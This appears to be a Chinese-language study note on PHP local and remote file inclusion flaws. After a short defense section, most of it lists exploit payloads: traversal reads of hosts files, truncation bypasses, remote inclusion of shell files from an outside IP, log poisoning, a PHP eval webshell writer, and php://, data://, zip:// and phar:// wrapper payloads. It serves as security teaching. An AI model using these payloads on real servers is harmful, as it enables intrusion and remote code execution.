文件包含

1. 定义

  • 把****可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含

2. 产生条件

  1. 用户可以****控制包含文件的传参内容
  2. 服务端****未过滤或未严格过滤参数传入内容

3. 相关函数

include()、include_once()、

require()、require_once()

highlight_file()、show_source()、

readfile()、file_get_contents()、fopen()、file()

4. 防御

  1. 尽量不使用动态包含,使用静态页面
  2. 路径限制
  3. 严格过滤传入参数(. \ /)
  4. 禁用远程文件包含
  5. 包含文件****验证

5. 分类

(1). 本地文件包含LFI

a. 条件
  1. allow_url_fopen = ON
  2. 用户可以动态控制变量
  3. 知道相对路径/绝对路径
b. 利用
①读取本地文件
  1. 绝对路径读取本地host文件
    1. Windows
      C:\\Windows\System32\drivers\etc\hosts
      
    2. Linux
      /etc/hosts
      
  2. 相对路径读取本地host文件
    1. Windows
      ..\..\..\..\Windows\System32\drivers\etc\hosts
      
    2. Linux
      ..\..\..\etc\hosts
      
②包含图片马
  • 利用文件包含漏洞直接包含木马图片
/action.php?action=../muma.jpg
c. 绕过
  • 代码形式(自带拼接后缀)
<?php
	$filename=$_GET['filename'];
	include $filename.'.php';
?>
①%00截断
  1. 满足条件

    • magic_quotes_gpc = Off
    • php版本 < 5.2.4
  2. 形式

    /action.php?action=phpinfo.php%00
    
②路径长度截断
  1. 满足条件

    • Windows下要长于****198字符,超出部分会被丢弃
    • php < 5.3.4
    • 操作系统版本要是****低版本(例如Win7)
  2. 形式

    /action.php?action=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
    
③点号截断
  1. 满足条件

    • Windows下要长于****198字符,超出部分会被丢弃
    • php < 5.3.4
    • 操作系统版本要是****低版本(例如Win7)
  2. 形式

    /action.php?action=phpinfo.php.....................................................................................................................................................................................................................................................
    

(2). 远程文件包含RFI

a. 条件
  1. allow_url_include = On (默认为Off)
  2. allow_url_fopen = On (是否允许打开远程文件)
  3. 用户可以****动态控制变量
b. 利用
#通过http协议加载目标机中的info.php文件
	[URL]?file= http://ip/info.php
#通过ftp协议加载目标机中的info.php文件
	[URL]?file= ftp://用户名:密码@ip/info.php

远程包含

c. 绕过
  1. 问号(?)绕过
    [URL]?file=http://192.168.172.150/shell.asp?
    
  2. 井号(#)绕过
    [URL]?file=http://192.168.172.150/shell.asp%23
    
  3. 空格绕过
    [URL]?file=http://192.168.172.150/shell.asp%20
    	or
    [URL]?file=http://192.168.172.150/shell.asp+
    

6. 漏洞利用

(1). 端口探测

url=dict://ip:80
[URL]?action=dict://192.168.41.46:80	//探测80端口

(2). 包含上传的Wetshell

  • 上传图片马,利用文件包含调用图片马,使用工具进行连接

(3). 包含日志文件Getshell

  • 构造报错信息写进错误日志

(4). 远程文件包含写Shell

<?php
	fputs(fopen('shell.php','w'),'<?php eval($_POST['cmd']);?>');  
?>

(5). 使用PHP伪协议写Getshell


7. 伪协议

(1). 定义

  • 伪协议不同于网上真实存在的协议,而是为****关联应用程序而使用的
伪协议 说明
file:// 访问本地文件系统
http:// 访问HTTP(s)网址
ftp:// 访问FTP(s)的URLS
php:// 访问各个输入/输入流
zlib:// 压缩流
data:// 数据(RFC2397)
rar:// RAR

(2). 分类

a. file://协议
  1. 用途

    • 访问到****本地系统文件
  2. 使用条件

    • 知道****绝对路径
  3. 使用方法

    file://path/filename	(绝对路径)
    
  4. 案例

    [URL]?action=file://c:\Windows\System32\drivers\etc\hosts
    

file伪协议使用


b. php://filter协议
  1. 用途

    • 常用于****读取文件\源码
  2. 使用条件

    • 知道****相对路径或绝对路径
  3. 使用方法

    • 通过指定末尾的文件,可以获取****经base64加密后的文件源码,之后再base64解码,虽然不能直接获取到shell,但能读取敏感文件
    [URL]?action=php://filter/read=convert.base64-encode/resource=4filename
    
  4. 案例

    [URL]?action=php://filter/read=convert.base64-encode/resource=shell.php
    

    php:filter伪协议1


c. php://input协议
  1. 用途

    • 可以访问请求的****原始数据的只读流,将post请求中的数据作为PHP代码执行
  2. 使用条件

    • allow_url_include = on
  3. 使用方法

        1. 抓包后,在url栏后面加上?action=php://input
    2. 在正文部分添加php代码
    
  4. 案例
    php:input伪协议
    php:input伪协议结果


d. data://协议
  1. 用途

    • 执行****接受数据中包含的php代码
  2. 使用条件

    • allow_url_fopen = on
    • allow_url_include = on
  3. 使用方法

    [URL]?file=data:text/plain,<?php phpinfo();?>
    	or
    [URL]?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=	//base64加密后内容
        or
    [URL]?file=data://text/plain,<?php phpinfo();?>
    
  4. 案例

    data伪协议2
    data伪协议3


e. zip://协议
  1. 用途

    • 读取****压缩包内的文件,如果包含php代码就直接执行
  2. 使用条件

    • 知道****相对路径或绝对路径
  3. 使用方法

    zip://archive.zip#dir/file.txt
    	or
    zip://[相对路径/绝对路径]#[压缩文件内的子文件名]
    
  4. 案例

    [URL]?file=zip://D:/WWW/file.zip%23phpcode.txt
    	or
    [URL]?file=zip://D:/WWW/file.zip%23php/phpcode.txt
        or
    [URl]?file=zip://D:/WWW/file.jpg%23phpcode.txt
    

zip伪协议


f. phar://协议
  1. 用途

    • 读取压缩包内的文件
  2. 使用条件

    • 知道****相对路径或绝对路径
    • php版本 > 5.3
  3. 使用方法

    [URL]?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
    	or
    [URL]?file=phar://test.zip/phpinfo.txt
    
  4. 案例

    http://192.168.172.150/include.php?file=phar://shell.zip/shell.txt
    

g. compress.bzip2://
  1. 用途

    • 读取压缩包内的文件
  2. 使用条件

    • 知道****相对路径或绝对路径
  3. 使用方法

    • 压缩bzip2文件的方法:
      Bzip2 -k shell.txt
    [URL]?file=compress.bzip2://shell.txt.bz2
    
  4. 案例

    http://192.168.172.150/include.php?file=compress.bzip2://shell.txt.bz2
    

compress:bzip2伪协议


h. compress.zlib://
  1. 用途

    • 读取压缩包内的文件
  2. 使用条件

    • 知道****相对路径或绝对路径
  3. 使用方法

    [URL]?file=compress.zlib://shell.zip#shell.txt
    
  4. 案例

    http://192.168.172.150/include.php?file=compress.zlib://shell.zip#shell.txt
    

compress:zlib

其他PHP伪协议的使用